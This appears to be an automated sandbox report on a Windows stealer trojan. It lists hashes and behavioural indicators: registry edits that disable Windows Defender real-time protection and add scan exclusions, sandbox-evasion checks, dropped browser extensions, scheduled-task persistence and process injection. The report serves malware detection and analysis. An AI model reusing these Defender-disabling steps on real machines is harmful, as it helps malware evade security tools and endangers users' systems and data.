ea7f785317a5bcf4563463f220f6e9beef2b5bc30da8918e7f2b19a2f76b69b5

Analysis

max time kernel
133s
max time network
135s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
06-02-2023 14:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.2MB
MD5

25d73b42884ce7e961ecaa6218d693cf
SHA1

f9aa85a942f9412b75b0640aa43deffad9e271d7
SHA256

ea7f785317a5bcf4563463f220f6e9beef2b5bc30da8918e7f2b19a2f76b69b5
SHA512

2e81f3f15f06b3bafed1f36f5f64db9cf8ff22c135cc80603e691334465352e26d06bc6cf3600e2e239c8f4114f057509e3098621d1ea315ff040fcf370cda37
SSDEEP

196608:91OJ3V+ekPIbhbtWPu8u9fN83aGzTGBnb9dQH:3OJrhbs2ZCEBnbzc

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OKneYAAzclQU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vcfECUarZbUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eCbNXTSQanJlC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WoychCUlhHkYXpVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eCbNXTSQanJlC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vcfECUarZbUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OKneYAAzclQU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wRLQelouU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WoychCUlhHkYXpVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wRLQelouU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

21 1820 rundll32.exe

flow	pid	process
21	1820	rundll32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

xYQloEu.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Control Panel\International\Geo\Nation xYQloEu.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeFCxGTtg.exexYQloEu.exe

pid process

1724 Install.exe
1124 Install.exe
1888 FCxGTtg.exe
1272 xYQloEu.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Control Panel\International\Geo\Nation	xYQloEu.exe

pid	process
1724	Install.exe
1124	Install.exe
1888	FCxGTtg.exe
1272	xYQloEu.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
1228	file.exe
1724	Install.exe
1724	Install.exe
1724	Install.exe
1724	Install.exe
1124	Install.exe
1124	Install.exe
1124	Install.exe
1820	rundll32.exe
1820	rundll32.exe
1820	rundll32.exe
1820	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 1 IoCs

Processes:

xYQloEu.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	xYQloEu.exe

Drops file in System32 directory 19 IoCs

Processes:

FCxGTtg.exexYQloEu.exepowershell.EXEpowershell.EXErundll32.exeInstall.exepowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	FCxGTtg.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	FCxGTtg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	xYQloEu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	xYQloEu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	xYQloEu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_7638F332B8B62A320F9A599D313334B6	xYQloEu.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_450C63FC50977E21DE9DE54EB1509725	xYQloEu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_450C63FC50977E21DE9DE54EB1509725	xYQloEu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_7638F332B8B62A320F9A599D313334B6	xYQloEu.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	FCxGTtg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	xYQloEu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	xYQloEu.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	xYQloEu.exe

Drops file in Program Files directory 13 IoCs

Processes:

xYQloEu.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	xYQloEu.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	xYQloEu.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	xYQloEu.exe
File created	C:\Program Files (x86)\wRLQelouU\Mkbujbj.xml	xYQloEu.exe
File created	C:\Program Files (x86)\OKneYAAzclQU2\cvRZKbdaGxdLq.dll	xYQloEu.exe
File created	C:\Program Files (x86)\OKneYAAzclQU2\TXlEuvi.xml	xYQloEu.exe
File created	C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\ePrhGFu.dll	xYQloEu.exe
File created	C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\MXxemTg.xml	xYQloEu.exe
File created	C:\Program Files (x86)\eCbNXTSQanJlC\dbQQTPD.dll	xYQloEu.exe
File created	C:\Program Files (x86)\eCbNXTSQanJlC\ZhHeAkT.xml	xYQloEu.exe
File created	C:\Program Files (x86)\vcfECUarZbUn\fnbiOMY.dll	xYQloEu.exe
File created	C:\Program Files (x86)\wRLQelouU\vZbaxL.dll	xYQloEu.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	xYQloEu.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\boytPmuAkKgmiEZYSe.job	schtasks.exe
File created	C:\Windows\Tasks\tRsUEOedRvIwZoOQu.job	schtasks.exe
File created	C:\Windows\Tasks\xhAFLspUEGhlntx.job	schtasks.exe
File created	C:\Windows\Tasks\jwkhvtMiulvJCTqog.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1628	schtasks.exe
1556	schtasks.exe
1224	schtasks.exe
296	schtasks.exe
1180	schtasks.exe
560	schtasks.exe
1320	schtasks.exe
1096	schtasks.exe
1936	schtasks.exe
1788	schtasks.exe
872	schtasks.exe
1908	schtasks.exe
1904	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

xYQloEu.exewscript.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	xYQloEu.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{465B738F-1067-40D4-A67A-117B07634002}\16-85-18-41-54-1a	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\16-85-18-41-54-1a\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	xYQloEu.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	xYQloEu.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{465B738F-1067-40D4-A67A-117B07634002}\WpadDecisionReason = "1"	xYQloEu.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\16-85-18-41-54-1a\WpadDecisionTime = 10e3d1b0423ad901	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	xYQloEu.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\16-85-18-41-54-1a\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	xYQloEu.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	xYQloEu.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\16-85-18-41-54-1a\WpadDecision = "0"	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\16-85-18-41-54-1a	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	xYQloEu.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	xYQloEu.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	xYQloEu.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{465B738F-1067-40D4-A67A-117B07634002}\WpadDecisionTime = 10e3d1b0423ad901	xYQloEu.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{465B738F-1067-40D4-A67A-117B07634002}\WpadNetworkName = "Network 2"	xYQloEu.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\16-85-18-41-54-1a\WpadDecisionReason = "1"	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	xYQloEu.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{465B738F-1067-40D4-A67A-117B07634002}\16-85-18-41-54-1a	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	xYQloEu.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0033000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\16-85-18-41-54-1a\WpadDecisionTime = 10e3d1b0423ad901	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{465B738F-1067-40D4-A67A-117B07634002}\WpadDecision = "0"	xYQloEu.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	xYQloEu.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	xYQloEu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	xYQloEu.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0033000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	xYQloEu.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXExYQloEu.exe

pid	process
964	powershell.EXE
964	powershell.EXE
964	powershell.EXE
1064	powershell.EXE
1064	powershell.EXE
1064	powershell.EXE
1556	powershell.EXE
1556	powershell.EXE
1556	powershell.EXE
1880	powershell.EXE
1880	powershell.EXE
1880	powershell.EXE
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe
1272	xYQloEu.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	964	powershell.EXE
Token: SeDebugPrivilege	1064	powershell.EXE
Token: SeDebugPrivilege	1556	powershell.EXE
Token: SeDebugPrivilege	1880	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1228 wrote to memory of 1724	1228	file.exe	Install.exe
PID 1228 wrote to memory of 1724	1228	file.exe	Install.exe
PID 1228 wrote to memory of 1724	1228	file.exe	Install.exe
PID 1228 wrote to memory of 1724	1228	file.exe	Install.exe
PID 1228 wrote to memory of 1724	1228	file.exe	Install.exe
PID 1228 wrote to memory of 1724	1228	file.exe	Install.exe
PID 1228 wrote to memory of 1724	1228	file.exe	Install.exe
PID 1724 wrote to memory of 1124	1724	Install.exe	Install.exe
PID 1724 wrote to memory of 1124	1724	Install.exe	Install.exe
PID 1724 wrote to memory of 1124	1724	Install.exe	Install.exe
PID 1724 wrote to memory of 1124	1724	Install.exe	Install.exe
PID 1724 wrote to memory of 1124	1724	Install.exe	Install.exe
PID 1724 wrote to memory of 1124	1724	Install.exe	Install.exe
PID 1724 wrote to memory of 1124	1724	Install.exe	Install.exe
PID 1124 wrote to memory of 1684	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1684	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1684	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1684	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1684	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1684	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1684	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1568	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1568	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1568	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1568	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1568	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1568	1124	Install.exe	forfiles.exe
PID 1124 wrote to memory of 1568	1124	Install.exe	forfiles.exe
